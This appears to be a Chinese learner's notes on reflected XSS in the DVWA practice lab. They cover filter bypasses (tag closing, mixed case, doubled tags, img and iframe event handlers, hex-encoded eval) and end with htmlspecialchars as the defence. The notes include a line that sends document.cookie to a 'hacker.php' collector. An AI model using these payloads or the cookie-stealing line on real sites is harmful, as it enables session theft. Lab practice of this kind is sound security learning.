前情提要:html的dom对象:document

如document.cookie  / document.write()

http://netsecurity.51cto.com/art/201311/417201.htm实战演示

1.判断是否有反射型XSS漏洞:

2.实践

http://www.storysec.com/dvwa-xss-reflected.html

https://www.cnblogs.com/wang1212-/p/9028349.html两个都给我看

img.src="http://localhost/xss/hacker.php?x=" + document.cookie;  //document.location:将页面的内容指定到指定位置

其实不写hacker.js文件也行,直接url里构造就好了

+document.cookie的+是连接符而已,其实是替代了空格、回车!!!(+号可以用%2b编码)

//PHPSESSID后的value可以直接双击修改

 @靶场实践DVWA-XSS(reflected)

教程http://www.storysec.com/dvwa-xss-reflected.html

https://www.cnblogs.com/wang1212-/p/9028349.html(更牛逼)

http://www.storysec.com/dvwa-xss-reflected.html(更更牛逼)

1.为啥在搜索框里输入<script>alert(/xss/)</script>不跳出弹窗?

(1)F12一下,html的<pre>标签把<>实体化了,所以输入</pre><script>alert(/xss/)</script><pre>,抵消掉原来的pre标签,弹窗就出来了

(2)<script>被过滤了:$name = str_replace( '<script>', '', $_GET[ 'name' ] );

法一:大小写绕过 </pre><SCriPt>alert(/xss/)</ScRipt><pre>

法二:双写绕过  ‘><sc<script>ript>alert("如果你能看到,说明攻击成功")</script>话说为什么要加'>啊?看另一个教程就没加'>,没有也可以跳出弹窗的说

str_replace()只过滤了一次<script>,外面的被拼接,真是妙不可言

(3)<script>被更厉害地被过滤了(正则)

preg_replace 函数使用正则表达式的搜索和替换,使得双写绕过、大小写混淆也无能为力了。
我们可以考虑通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码
比如:</pre><img src=1 onerror=alert(/xss/)><pre>
   <a href='#' onclick=alert(/xss/)>test</a>
   <img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>  

   <iframe onload=alert(1)>

   <iframe src=javascript:alert('xss');height=0 width=0 /><iframe>

(4)使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为 HTML 实体,防止浏览器将其作为HTML元素

于是这下完全防御了XSS注入

& (和号)成为 &amp;
" (双引号)成为 &quot;
' (单引号)成为 &apos;//生效需要加 ENT_QUOTES 参数
< (小于)成为 &lt;
> (大于)成为 &gt;

2.输入<Xtt>XSS,F12发现出现<xtt>XSS</xtt>标签,说明存在XSS漏洞

原理:事实上并没有<Xtt>这个标签,只是html的自动补全功能,还他喵的不分大小写

XSS-反射型的更多相关文章

  1. 代码审计中的XSS反射型漏洞

    XSS反射型漏洞 一 XSS漏洞总共分三总 XSS反射型漏洞,XSS保存型漏洞,基于DOM的XSS漏洞 这次主要分享XSS反射型漏洞 基本原理:就是通过给别人发送带有恶意脚本代码参数的URL,当URL ...

  2. DVWA之Reflected XSS(反射型XSS)

    目录 Low Medium High Impossible Low 源代码: <?php header ("X-XSS-Protection: 0"); // Is ther ...

  3. 解决反射型XSS漏洞攻击

    对于程序员来说安全防御,无非从两个方面考虑,要么前端要么后台. 一.首先从前端考虑过滤一些非法字符. 前端的主控js中,在<textarea> 输入框标签中,找到点击发送按钮后,追加到聊天 ...

  4. XSS分析及预防

    XSS(Cross Site Scripting),又称跨站脚本,XSS的重点不在于跨站点,而是在于脚本的执行.在WEB前端应用日益发展的今天,XSS漏洞尤其容易被开发人员忽视,最终可能造成对个人信息 ...

  5. XSS 初识

    xss(跨站脚本攻击)xss是指攻击者在网页中嵌入客户端脚本,通常是javascript编写的恶意代码,当用户使用浏览器浏览被嵌入恶意代码的网页时,恶意代码将在用户的浏览器上被解析执行.重点是“脚本” ...

  6. Cross-site Scripting (XSS) 阅读笔记

    本文源自 https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29 通过阅读和翻译,并按照自己的理解,整理成如下文档. 概述 XSS ...

  7. XSS初体验

    主要内容 什么是XSS? XSS的危害有哪些? 常见的XSS漏洞 如何防范XSS?   什么是XSS? 跨站脚本攻击(Cross Site Scripting),是一种 Web 应用程序的漏洞,当来自 ...

  8. XSS分析及预防(转)

    阅读目录 XSS的种类和特点 XSS预防 总结 XSS(Cross Site Scripting),又称跨站脚本,XSS的重点不在于跨站点,而是在于脚本的执行.在WEB前端应用日益发展的今天,XSS漏 ...

  9. XSS Overview

    什么是XSS? 跨站脚本攻击(Cross Site Scripting):攻击者往Web页面里插入恶意脚本,当用户浏览该页面时,嵌入页面的脚本代码会被执行,从而达到恶意攻击用户的特殊目的.恶意的内容通 ...

  10. XSS分析及如何预防

    XSS分析及如何预防 简单说明: XSS(Cross Site Scripting),又称跨站脚本,XSS的重点不在于跨站点,而是在于脚本的执行.在WEB前端应用日益发展的今天,XSS漏洞尤其容易被开 ...

随机推荐

  1. CMMI分为哪几个等级?

    一共分为五个等级. 1.CMMI一级,完成级.在完成级水平上,企业对项目的目标与要做的努力很清晰.项目的目标得以实现. 2.CMMI二级,管理级.在管理级水平上,企业在项目实施上能够遵守既定的计划与流 ...

  2. html背景图不随滚轮滚动,而且按住Ctrl并滚动滚轮时,图片不会变大缩小,就像百度的首页一样

    之前在百度知道我提问过这一个问题,后来解决了.不过好多人来问我时怎么解决的,源码.其实很简单.这里我贴一下代码.有需要的小伙伴不用再加我qq了,直接来这里取吧. 里面的图片是我随便找的. <!D ...

  3. C# out关键字

    在c#中"out"关键字可以通过参数一次返回多个值. using System; namespace ConsoleApplication1 { internal class Pr ...

  4. node.js之CommonJS

    1.CommonJS 我们只是在js文件中写下console.log('This is a test.');这句代码,node.js执行该js文件时: ( function(exports, requ ...

  5. 在linux 下安装git

    ① 安装 Git Linux 做为服务器端系统,Windows 作为客户端系统,分别安装 Git 服务器端: #yum install -y git 安装完后,查看 Git 版本 [root@loca ...

  6. HGOI20190814 省常中互测7

    Problem A 中间值 对于$2$个非严格单增序列$\{A_n\} , \{B_n\}$,维护下列两个操作: 1 x y z: (x=0)时将$A_y = z$ , (x=1)时将$B_y = z ...

  7. SQL Server清空数据库中ldf日志文件

    USE [master] ALTER DATABASE [Whir_InternalSystem] SET RECOVERY SIMPLE WITH NO_WAIT ALTER DATABASE [W ...

  8. char类型可不可以存储一个汉字

    java采用unicode,2个字节(16位)来表示一个字符, 无论是汉字还是数字字母,或其他语言.char 在java中是2个字节.所以可以存储中文 Java八种基本数据类型1)四种整数类型(byt ...

  9. leetcode-easy-design-155 Min Stack

    mycode   21.48% class MinStack(object): def __init__(self): """ initialize your data ...

  10. day2_Python基础二

    一.格式化输出 1.%s or %d %:表示占位符,注意,需要在内容中显示%时,在他之前增加一个%来转义,如显示5%,则:5%% s:表示字符串 d:表示数值digital 例子: name = i ...